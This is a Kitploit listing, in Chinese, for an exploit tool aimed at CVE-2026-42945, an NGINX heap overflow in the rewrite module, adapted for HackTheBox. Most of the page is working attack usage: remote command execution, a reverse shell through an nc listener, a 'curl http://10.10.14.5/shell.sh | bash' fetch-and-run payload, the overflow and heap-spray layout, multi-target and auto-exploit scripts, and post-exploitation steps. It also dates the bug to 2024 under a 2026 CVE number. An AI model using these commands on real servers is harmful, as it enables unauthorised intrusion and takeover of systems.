Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42945-POC — CVE-2026-42945 的漏洞利用 | Kitploit
工具/GitHubGitHub/cipherspy/cve-2026-42945-poc
侦察Payload生成漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试命令与控制学习与教育二进制利用
GitHubcipherspy/cve-2026-42945-poc

CVE-2026-42945-POC

541373个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42945 的漏洞利用

查看仓库

CVE-2026-42945 (NGINX Rift) - 适用于HTB的利用脚本

针对2024年发现的NGINX堆缓冲区溢出漏洞的独立利用脚本。此版本针对HackTheBox和CTF环境进行了优化,这些环境下无法设置Docker容器。

漏洞详情

CVE-2026-42945 是 NGINX 的 ngx_http_rewrite_module 中一个严重的堆缓冲区溢出漏洞,自2008年(版本0.6.27)以来一直存在。该漏洞发生在以下情况:

  1. rewrite 指令的替换参数中包含 ?(设置 is_args = 1)
  2. set 指令捕获 URI 的一部分
  3. 长度计算在清零的子引擎上执行(看到 is_args = 0)
  4. 复制阶段在主引擎上运行(看到 is_args = 1)
  5. URI 转义将字符扩展3倍,从而溢出过小的缓冲区

受影响版本

  • NGINX 开源版: 0.6.27 - 1.30.0
  • NGINX Plus: R32 - R36

修复版本

  • NGINX 开源版: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

包含的文件

  1. nginx_rift_htb.py - 主漏洞利用脚本
  2. nginx_rift_helper.py - 侦察和信息泄露辅助脚本
  3. README.md - 本文件

环境要求

root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# No additional Python packages needed - uses only stdlib!

快速开始

1. 检查目标是否易受攻击

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only

将会:

  • 检测 NGINX 是否正在运行
  • 尝试识别版本
  • 检查 /api/ 端点
  • 报告目标是否似乎易受攻击

2. 侦察(推荐)

root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all

执行以下操作:

  • NGINX 指纹识别
  • 版本检测
  • 端点发现
  • 信息泄露检测
  • 行为分析

3. 运行利用脚本

执行命令:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

获取反弹 Shell:

root@kitploit:~
# 先启动监听器(在另一个终端)
nc -lvnp 4444

# 运行利用脚本
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

使用示例

基本命令执行

root@kitploit:~
# 执行 'id' 命令
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# 执行 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# 读取 /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

反弹 Shell

root@kitploit:~
# 终端 1:启动监听器
nc -lvnp 4444

# 终端 2:运行利用脚本
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

自定义地址(如果 ASLR 已禁用或已有泄露)

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

高级选项

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

理解漏洞利用原理

工作原理

  1. 堆喷射:利用脚本发送多个POST请求,其主体包含伪造的 ngx_pool_cleanup_s 结构体
  2. 溢出触发:向 /api/ 发送一个精心构造的GET请求,该URI在转义时会溢出
  3. 清理钩子:溢出损坏相邻池的清理指针,指向我们的伪造结构体
  4. 代码执行:当池被销毁时,调用 system() 执行我们的命令

关键参数

  • 目标字节:6字节地址,必须仅包含URL安全字符
  • 喷射主体:4000字节的POST主体,包含伪造的清理结构体
  • 溢出负载:349个'A' + 969个'+'字符,在转义时扩展3倍

ASLR 注意事项

该利用脚本假设 ASLR 已禁用 或你知道地址。在 HTB 上:

  • 某些靶机禁用了ASLR以便更容易利用
  • 其他则需要找到信息泄露
  • 辅助脚本可以帮助侦察

如果启用了ASLR,你可能需要:

  1. 在应用程序中寻找信息泄露
  2. 暴力破解(需要多次尝试)
  3. 使用部分覆盖(高级)

故障排除

"目标似乎没有运行NGINX"

  • 确认目标确实在运行NGINX
  • 检查端口是否正确
  • 可能位于WAF/代理后面

"无法确认 /api/ 端点"

易受攻击的配置要求:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • 如果其他位置存在 rewrite+set 组合,利用脚本可能仍然有效
  • 尝试其他常见路径:/api/, /admin/, /internal/

"所有利用尝试均失败"

可能的原因:

  1. ASLR 已启用 - 地址随机化
    • 解决方案:找到信息泄露或暴力破解
  2. 不同的 libc 版本 - system() 位于不同偏移
    • 解决方案:使用 --verbose 尝试所有偏移
  3. 版本不易受攻击 - 修复版本或不同配置
    • 解决方案:使用辅助脚本验证版本
  4. WAF/IDS 阻止 - 安全控制存在
    • 解决方案:可能需要规避技术
  5. 错误端点 - 未使用 rewrite+set 组合
    • 解决方案:找到实际易受攻击的端点

详细模式

始终使用 --verbose 进行调试:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

显示:

  • 每次喷射请求的状态
  • 连接尝试
  • 溢出触发时机
  • 崩溃检测逻辑

HTB 专用提示

查找你的 VPN IP

root@kitploit:~
# 查找你的 tun0 IP
ip addr show tun0 | grep inet

# 将此 IP 用于 --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444

稳定 Shell

一旦获得初始访问权限:

root@kitploit:~
# 升级为 TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 后台运行并设置终端
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

获得Shell后的常见HTB枚举

root@kitploit:~
# 检查当前用户
id
whoami

# 查找标志文件
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# 检查 sudo 权限
sudo -l

# 检查 SUID 二进制文件
find / -perm -4000 2>/dev/null

高级用法

自定义负载生成

如果需要自定义负载:

root@kitploit:~
# 编辑 nginx_rift_htb.py 中的 make_body() 函数
# 针对不同配置调整 BODY_LEN
# 修改溢出字符串(349 个 'A' + 969 个 '+')

多个目标

root@kitploit:~
# 创建目标列表
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# 逐一测试
while read target; do
    echo "Testing $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

自动化利用

root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] 启动监听器..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] 运行利用脚本..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

技术细节

易受攻击的代码模式

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Sets is_args=1
    set $original_endpoint $1;                     # Allocates based on is_args=0
}

利用流程

root@kitploit:~
1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)

内存布局

root@kitploit:~
[Heap Spray Body - 4000 bytes]
+0:  system_addr (8 bytes)
+8:  data_addr (8 bytes) 
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'

参考

  • 原始POC:https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  • 技术文章:https://depthfirst.com/research/nginx-rift
  • NGINX 公告:https://my.f5.com/manage/s/article/K000160932
  • CVE详情:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945

免责声明

本工具仅用于教育目的和授权的安全测试。将其用于不属于您或未经明确许可测试的系统是违法的。作者对滥用不承担任何责任。

致谢

  • 原始漏洞由 depthfirst 发现
  • 原始POC:p3Nt3st3r-sTAr
  • HTB改编:修改为独立使用

许可证

仅用于教育/研究目的。请负责任地使用。

下载工具